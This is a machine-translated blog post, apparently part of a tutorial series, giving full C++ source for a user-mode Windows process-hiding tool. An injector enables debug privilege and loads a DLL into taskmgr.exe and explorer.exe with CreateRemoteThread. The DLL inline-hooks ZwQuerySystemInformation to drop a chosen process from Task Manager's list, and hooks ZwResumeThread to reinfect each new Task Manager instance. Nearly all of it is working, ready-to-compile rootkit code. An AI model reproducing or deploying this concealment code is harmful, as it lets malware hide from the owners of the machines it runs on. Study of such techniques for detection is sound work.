当前位置:网站首页>3. Process concealment under the ring ----- continuous concealment and new opening prevention

3. Process concealment under the ring ----- continuous concealment and new opening prevention

2022-06-12 13:56:00 HyperCall

Because the previous process hides these defects , For example, you can only hide the currently open Task Manager , Close the task manager and reopen it to hide it , The reason is simple , Because the reopened task manager is not used by us Hook, Natural ineffectiveness

Notes:
1. The new version of process concealment is dedicated to solving this problem
HideProc Responsible for Dll Inject explorer.exe And already running taskmgr.exe
DLL Add automatic identification module , If it is injected into taskmgr.exe be Hook ZwQuerySystemInformation, If it is injected into explorer.exe be Hook ZwResumeThread, Then compare whether the new process currently created is a process that needs to be hidden , If so, inject DLL,Hook The work of the new process is automatically handed over to the newly injected dll complete , Wait for the creation of the next new process
2. because ZwResumeThread The first argument to the function is the thread handle, so you start with GetProcessIdOfThread Function gets the process it belongs to through the thread handle PID And then follow-up work , As a result, there are various errors in the test ,DLLMAIN Functions can't run , Found after debugging XP Next API Out-of-service …………… If you can't use it ,,, As a result, there is no error in the compilation , So we can only check the data to see if there is any alternative method , Then the function that rewrites this function is called GetProcessIdFromThread
3. Function prepid Very important , Solve the problem 2 Open after the question taskmgr Will report all kinds of errors ,OD After debugging for half a day, I found that , establish taskmgr Processes create a large number of threads at the same time , And we Hook Yes. ZwResumeThread, Function that causes the thread to resume running , So will DLL Inject repeatedly into taskmgr Cause a mistake , So add a prepid Record the corresponding process of the last injected thread pid, If it is the same, it will not be injected , Successfully solved this problem
5. Function flexibility , Unified compilation Hook and UNHook function , The process is clearer .
6. The whole program is flexible , What process do you want to hide , If you want to hide someone, just modify the string array

Code :
HideProc.cpp:

#include "windows.h"
#include "Tlhelp32.h"
#include <iostream>
using namespace std;

LPCTSTR Dll_Path=L"d:hack.dll";
WCHAR Inject_name[2][100]={L"taskmgr.exe",L"explorer.exe"};
int inject_num=2;


BOOL Whether_Inject(const WCHAR *processname){
    for(int i=0;i<inject_num;i++){
        WCHAR *s=Inject_name[i];
        while(*processname==*s && *processname!='\0' && *s!='\0'){
            processname++;
            s++;
        }
        if (*processname == '\0' && *s == '\0') return true;
    }
    return false;
}

void InjectDll(DWORD pid=0){
    if(pid==0) return;
    HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
    if(!hProcess){
        cout<<"OpenProcess failed,error code: "<<GetLastError()<<endl;
        return;
    }
    LPVOID pRemoteBuf=NULL;
    DWORD BufSize=(DWORD)(wcslen(Dll_Path)+1)*sizeof(TCHAR);//+1:\0
    pRemoteBuf=VirtualAllocEx(hProcess,NULL,BufSize,MEM_COMMIT,PAGE_READWRITE);
    WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)Dll_Path,BufSize,NULL);
    LPTHREAD_START_ROUTINE pThreadProc;
    HMODULE Kernel32_Handle=GetModuleHandle(L"kernel32.dll");
    pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle,"LoadLibraryW");
    CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
    CloseHandle(hProcess);
    hProcess=NULL;
}


BOOL EnableDebugPrivilege(){
    HANDLE hToken;
    BOOL fOk=FALSE;
    if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){ //Get Token
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount=1;
        if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))//Get Luid
            cout<<"Can't lookup privilege value"<<endl;
        tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;// That's the key , Modify its attribute to SE_PRIVILEGE_ENABLED
        if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))//Adjust Token
            cout<<"Can't adjust privilege value"<<endl;
        fOk=(GetLastError()==ERROR_SUCCESS);
        CloseHandle(hToken);
        hToken=NULL;
    }
    return fOk;
}

int main(){
    BOOL isPrivilege=false;
    isPrivilege=EnableDebugPrivilege();// Raise the right 
    if(!isPrivilege){
        cout<<"EnableDebugPrivilege failed"<<endl;
        return 0;
    }
    PROCESSENTRY32 pe;
    pe.dwSize=sizeof(pe);
    BOOL code=false;
    HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
    if(INVALID_HANDLE_VALUE!=hSnapShot){
        BOOL bprocess=Process32First(hSnapShot,&pe);
        while(bprocess){
            code=Whether_Inject(pe.szExeFile);
            if(code){
                InjectDll(pe.th32ProcessID);
            }
            bprocess=Process32Next(hSnapShot,&pe);
        }
    }
    CloseHandle(hSnapShot);
    hSnapShot=NULL;
    system("pause");
    return 0;
}

Hide.h:

#include "windows.h"
#include "Tlhelp32.h"


//*****************************************************↓↓↓ Structure definition ↓↓↓************************************************************

typedef LONG NTSTATUS;

typedef struct _CLIENT_ID {                 //CLIENT_ID Structure definition 
 HANDLE UniqueProcess;
 HANDLE UniqueThread;
} CLIENT_ID;

typedef struct _LSA_UNICODE_STRING { //UNICODE_STRING Structure definition 
 USHORT Length;
 USHORT MaximumLength;
 PWSTR Buffer;
}UNICODE_STRING;

typedef struct _SYSTEM_PROCESS_INFORMATION {           // Process information structure definition 
 ULONG NextEntryOffset; // The offset of the next structure 
 ULONG NumberOfThreads;
 BYTE Reserved1[48];
 UNICODE_STRING ProcessName; // Process name 
 ULONG BasePriority;
 HANDLE UniqueProcessId; // process Pid
 PVOID Reserved3;
 ULONG HandleCount;
 BYTE Reserved4[4];
 PVOID Reserved5[11];
 SIZE_T PeakPagefileUsage;
 SIZE_T PrivatePageCount;
 LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION,*PSYSTEM_PROCESS_INFORMATION;

typedef struct _THREAD_BASIC_INFORMATION {         // Thread information structure definition 
  NTSTATUS          ExitStatus;
  PVOID             TebBaseAddress;
  CLIENT_ID         ClientId;
  ULONG             AffinityMask;
  LONG              Priority;
  LONG              BasePriority;
} THREAD_BASIC_INFORMATION;

typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)    //ZwQuerySystemInformation Function prototype definition 
 (ULONG SystemInformationClass, 
 PVOID SystemInformation, 
 ULONG SystemInformationLength, 
 PULONG ReturnLength);

typedef NTSTATUS (WINAPI *PFZWRESUMETHREAD)             //ZwResumeThread Function prototype definition 
 (HANDLE ThreadHandle,
 PULONG SuspendCount);

typedef NTSTATUS (WINAPI *ZWQUERYINFORMATIONTHREAD)             //ZwQueryInformationThread Function prototype definition 
 (HANDLE ThreadHandle,
 ULONG ThreadInformationClass,
 PVOID ThreadInformation,
 ULONG ThreadInformationLength,
 PULONG ReturnLength);

//*****************************************************↓↓↓ Function prototype declaration ↓↓↓************************************************************

// Realization Hook Function of :  ( Where the function to hook is located DLL name , Name of the function to hook , The function address of the custom function , Before saving the original function 5 Byte information byte)
BOOL hook(LPCSTR DllName,LPCSTR FuncName,PROC Func_New,PBYTE origin_byte);


// Realization unHook Function of :( Where the function to be unchecked is located DLL name , The name of the function to be unchecked , Before saving the original function 5 Byte information byte)
BOOL unhook(LPCSTR DllName,LPCSTR FuncName,PBYTE origin_byte);  


// Self defined  ZwQuerySystemInformation
NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);


// Self defined  ZwResumeThread
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle,PULONG SuspendCount);


// Elevated privileges 
BOOL EnableDebugPrivilege();


//Dll Injection function 
void InjectDll(DWORD pid);


// Judge whether it is the target 
BOOL Whether_Hide_Goal(const WCHAR *processname);


// Through the thread ID Find its process ID
DWORD GetProcessIdFromThread(HANDLE ThreadHandle);  //GetProcessIdOfThread  Super pit ,xp I don't have this API But the compiler will not report an error ....

Hide.cpp

#include "Hide.h"
#define SystemProcessInformation 5
#define STATUS_SUCCESS (0x00000000L) 

//*****************************************************↓↓↓ Constant definition ↓↓↓************************************************************
BYTE        ZwQuerySystemInformation_origin_byte[5] = {
   0,};
BYTE        ZwResumeThread_origin_byte[5] = {
   0,};
LPCTSTR     Dll_Path=L"d:hack.dll";
PWSTR       Hide_Process=L"notepad.exe";
WCHAR       Goal_Name[1][100]={L"taskmgr"};
WCHAR       filename[MAX_PATH];
static DWORD prepid=0;

//*****************************************************↓↓↓ Function implementation ↓↓↓************************************************************
BOOL Whether_Hide_Goal(const WCHAR *processname){
    const WCHAR *ori=processname;
    for(int i=0;i<1;i++){
        processname=ori;
        while(*processname!='\0'){
            WCHAR *s=Goal_Name[i];
            while(*processname!=*s && *processname!=(*s)-32 && *processname!='\0'){
                processname++;
            }
            while(*processname!='\0' && (*processname==*s || *processname==(*s)-32)){
                processname++;
                s++;
            }
            if(*s=='\0'){
                return true;
            }
        }
    }
    return false;
}
void InjectDll(DWORD pid=0){
    if(pid==0)      return;
    EnableDebugPrivilege();  // Elevated privileges 
    HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
    if(!hProcess)   return;
    LPVOID pRemoteBuf=NULL;
    DWORD BufSize=(DWORD)(wcslen(Dll_Path)+1)*sizeof(TCHAR);//+1:\0
    pRemoteBuf=VirtualAllocEx(hProcess,NULL,BufSize,MEM_COMMIT,PAGE_READWRITE);
    WriteProcessMemory(hProcess,pRemoteBuf,(LPVOID)Dll_Path,BufSize,NULL);
    LPTHREAD_START_ROUTINE pThreadProc;
    HMODULE Kernel32_Handle=GetModuleHandle(L"kernel32.dll");
    pThreadProc=(LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle,"LoadLibraryW");
    CreateRemoteThread(hProcess,NULL,0,pThreadProc,pRemoteBuf,0,NULL);
    CloseHandle(hProcess);
    hProcess=NULL;
}
BOOL EnableDebugPrivilege(){
    HANDLE hToken;
    BOOL fOk=FALSE;
    if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount=1;
        LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
        fOk=(GetLastError()==ERROR_SUCCESS);
        CloseHandle(hToken);
        hToken=NULL;
    }
    return fOk;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        GetModuleFileName(NULL,filename,MAX_PATH);
        if(Whether_Hide_Goal(filename)){   // If it's a process that we want to hide from, then it's right ZwQuerySystemInformation hook 
            hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte);
        }else{                             // Otherwise it must be explorer On the other hand ZwResumeThread hook 
            hook("ntdll.dll","ZwResumeThread",(PROC)NewZwResumeThread,ZwResumeThread_origin_byte);
        }
        break;

    case DLL_PROCESS_DETACH:
        unhook("ntdll.dll","ZwQuerySystemInformation",ZwQuerySystemInformation_origin_byte);
        unhook("ntdll.dll","ZwResumeThread",ZwResumeThread_origin_byte);
        break;
    }
    return TRUE;
}

BOOL hook(LPCSTR DllName,LPCSTR FuncName,PROC Func_New,PBYTE origin_byte){
    FARPROC p_ori_func;
    PBYTE   pbyte;
    DWORD   oldprotect,address;
    byte    newbuf[5]={
   0xE9,0,};

    p_ori_func=(FARPROC)GetProcAddress(GetModuleHandleA(DllName),FuncName);     // Get the address of the original function 
    pbyte=(PBYTE)p_ori_func;
    if(pbyte[0]==0xE9)    return false;
    VirtualProtect((LPVOID)p_ori_func,5,PAGE_EXECUTE_READWRITE,&oldprotect);    // modify 5 The byte attribute is writable 
    memcpy(origin_byte,p_ori_func,5);                                           // Before saving the original function 5 Byte order 
    address=(DWORD)Func_New-(DWORD)p_ori_func-5;                                // Calculation jumps to NewZwQuerySystemInformation Function needs jmp Address 
    memcpy(&newbuf[1],&address,4);                                              // Write the calculated address to newbuf
    memcpy(p_ori_func,newbuf,5);                                                // Write... At the original function jmp xxx Realization Hook
    VirtualProtect((LPVOID)p_ori_func, 5, oldprotect, &oldprotect);             // Restore the properties you just adjusted 
    return true;
}

BOOL unhook(LPCSTR DllName,LPCSTR FuncName,PBYTE origin_byte){
    FARPROC pfunc;
    PBYTE pbyte;
    DWORD oldprotect;

    pfunc=(FARPROC)GetProcAddress(GetModuleHandleA(DllName),FuncName);          // Get the address of the original function 
    pbyte=(PBYTE)pfunc;
    if(pbyte[0]!=0xE9)   return false;
    VirtualProtect((LPVOID)pfunc,5,PAGE_EXECUTE_READWRITE,&oldprotect);         // modify 5 The byte attribute is writable 
    memcpy(pfunc,origin_byte,5);                                                // Before the original function 5 Byte recovery 
    VirtualProtect((LPVOID)pfunc,5,oldprotect,&oldprotect);                     // Restore the properties you just adjusted 
    return true;
}


NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
    NTSTATUS status;
    FARPROC pfunc;
    PSYSTEM_PROCESS_INFORMATION pcur,pprev;

    unhook("ntdll.dll","ZwQuerySystemInformation",ZwQuerySystemInformation_origin_byte);         // relieve Hook ZwQuerySystemInformation  Prevent infinite loops 
    pfunc=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwQuerySystemInformation");    // Get the address of the original function dynamically 
    status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);  // Call the original function in the order of the original parameters 
    if(status != STATUS_SUCCESS ){                  // Judge whether the call is successful. If it is not possible, it will be disconnected Hook  Returns an error status
        hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte);
        return status;
    }
    if( SystemInformationClass == SystemProcessInformation ){       // Only SystemInformationClass=5( Query process list ) Yes, you can apply the hide operation 
        pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;      // The current pointer points to the returned SystemInformation Structure 
        while(TRUE){
            if(pcur->ProcessName.Buffer){                           // This structure ProcessName Members of the Buffer Enter if member exists 
                if(!wcscmp(pcur->ProcessName.Buffer,Hide_Process)){ // Compare whether the process name of this structure is the process name that needs to be hidden , If yes, perform the chain operation under the linked list 
                    if(pcur->NextEntryOffset == 0)
                        pprev->NextEntryOffset = 0;
                    else
                        pprev->NextEntryOffset += pcur->NextEntryOffset;
                }
                else        
                    pprev = pcur;                                   // For processes that do not need to be hidden, the current pointer and the forward pointer are moved back one respectively 
            }

            if(pcur->NextEntryOffset == 0)                          // If there is no next one, just quit 
                break;
            pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);
        }
    }
    hook("ntdll.dll","ZwQuerySystemInformation",(PROC)NewZwQuerySystemInformation,ZwQuerySystemInformation_origin_byte);   // Processing is complete , Again Hook
    return status;                                                  // return status
}
NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle,PULONG SuspendCount){
    DWORD pid=GetProcessIdFromThread(ThreadHandle);  // Get the process of the new thread PID
    if(pid!=GetCurrentProcessId() && pid!=prepid){
        PROCESSENTRY32 pe;
        pe.dwSize=sizeof(pe);
        HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
        if(INVALID_HANDLE_VALUE!=hSnapShot){
            BOOL bprocess=Process32First(hSnapShot,&pe);
            while(bprocess){
                if(pe.th32ProcessID==pid && Whether_Hide_Goal(pe.szExeFile)){       // Traverse the process list if the name of the newly created process is the target to be hidden InjectDll
                    prepid=pid;
                    InjectDll(pid);          //DLL Inject 
                    break;
                }
                bprocess=Process32Next(hSnapShot,&pe);
            }
        }
        CloseHandle(hSnapShot);
        hSnapShot=NULL;
    }
    unhook("ntdll.dll","ZwResumeThread",ZwResumeThread_origin_byte);            // Prevent a dead cycle 
    FARPROC pfn=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwResumeThread");    // Get the address of the original function dynamically 
    NTSTATUS status=((PFZWRESUMETHREAD)pfn)(ThreadHandle,SuspendCount);
    hook("ntdll.dll","ZwResumeThread",(PROC)NewZwResumeThread,ZwResumeThread_origin_byte);   // Again Hook live 
    return status;
}
DWORD GetProcessIdFromThread(HANDLE ThreadHandle){
    THREAD_BASIC_INFORMATION tbi;
    FARPROC pfn=(FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwQueryInformationThread");
    NTSTATUS status=((ZWQUERYINFORMATIONTHREAD)pfn)(ThreadHandle,0,&tbi,sizeof(tbi),NULL);
    return (DWORD)tbi.ClientId.UniqueProcess;
}
原网站

版权声明
本文为[HyperCall]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/03/202203010514054024.html